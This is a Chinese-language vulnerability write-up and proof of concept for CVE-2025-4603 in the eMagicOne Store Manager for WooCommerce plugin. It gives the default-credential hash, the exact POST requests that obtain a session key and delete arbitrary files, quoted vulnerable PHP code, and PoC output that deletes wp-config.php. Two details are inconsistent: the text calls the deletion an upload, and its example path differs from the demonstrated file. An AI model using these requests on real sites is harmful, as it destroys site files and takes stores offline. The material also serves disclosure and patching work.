eMagicOne Store Manager for WooCommerce 插件暴露了一个远程管理协议端点(?connector=bridge),允许在服务器上执行文件删除操作。该认证机制依赖于一组默认凭据(login=1、password=1)和会话密钥系统。如果默认凭据未更改,攻击者可以轻松完成认证、获取会话密钥,并从 WordPress 根目录或任何可访问的目录中删除任意文件。
提供了一个 POC CVE-2025-4603.py,用于演示攻击者删除 wp-config.php。
python3 CVE-2025-4603.py https://lab1.hacker --file wp-config.php
[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc"}
[+] Got session key: 38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc
[*] Attempting to delete file...
[*] Delete response: {"response_code":"20","message":"File was deleted from FTP Server successfully"}
在插件激活时,smconnector.php 中会设置以下常量:
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );
用于认证的默认哈希为:
'smconnector_hash' => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),
结果: 默认哈希为 md5('1' . '1') = c4ca4238a0b923820dcc509a6f75849b。
通过向桥接端点发送带有哈希和任务(例如 get_version)的 POST 请求来获取会话密钥:
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded
hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version
相关代码:
classes/class-emosmconnectorcommon.php(约 441-525 行):
private function check_auth() {
if ( $this->shop_cart->isset_request_param( 'key' ) ) {
// ... session key validation ...
} elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
$hash = (string) $this->shop_cart->get_request_param( 'hash' );
if ( ! $this->is_hash_valid( $hash ) ) {
// ... error ...
}
$key = $this->generate_session_key( $hash );
// ... return session key ...
}
}
会话密钥存储在 wp_smconnector_session_keys 表中:
private function generate_session_key( $hash ) {
$key = hash( 'sha256', $hash . $timestamp );
$sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
. "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
. $date . "', '" . $date . "')";
$this->shop_cart->exec_sql( $sql );
return $key;
}
拥有有效的会话密钥后,攻击者可以使用 delete_file 任务上传文件:
POST /?connector=bridge&task=delete_file&key=<session_key>&path=wp-content.php
相关代码:
classes/class-emosmconnectorcommon.php(约 2167 行+):
/** Delete file */
private function delete_file() {
if ( ! $this->shop_cart->isset_request_param( 'path' ) ) {
$this->generate_error( $this->br_errors['path_param_missing'] );
}
$filepath = (string) $this->shop_cart->get_request_param( 'path' );
if ( empty( $filepath ) ) {
$this->generate_error( $this->br_errors['path_param_empty'] );
}
$filepath = $this->shop_cart->get_shop_root_dir() . '/' . $filepath;
if ( ! $this->shop_cart->file_exists( $filepath ) ) {
$this->generate_error( $this->br_errors['delete_file_error'] );
}
$this->shop_cart->delete_file( $filepath );
}
文件删除位于 class-emosmcwoocommerceoverrider.php(约 380 行+)::
public function delete_file($filepath) {
if (!file_exists($filepath)) {
die(json_encode(array(
self::CODE_RESPONSE => self::ERROR_CODE_COMMON,
self::KEY_MESSAGE => 'File is missing on server',
)));
}
if (unlink($filepath)) {
die(json_encode(array(
self::CODE_RESPONSE => self::SUCCESSFUL,
self::KEY_MESSAGE => 'File was deleted from FTP Server successfully',
)));
}
}
结果: 文件会从服务器上被删除。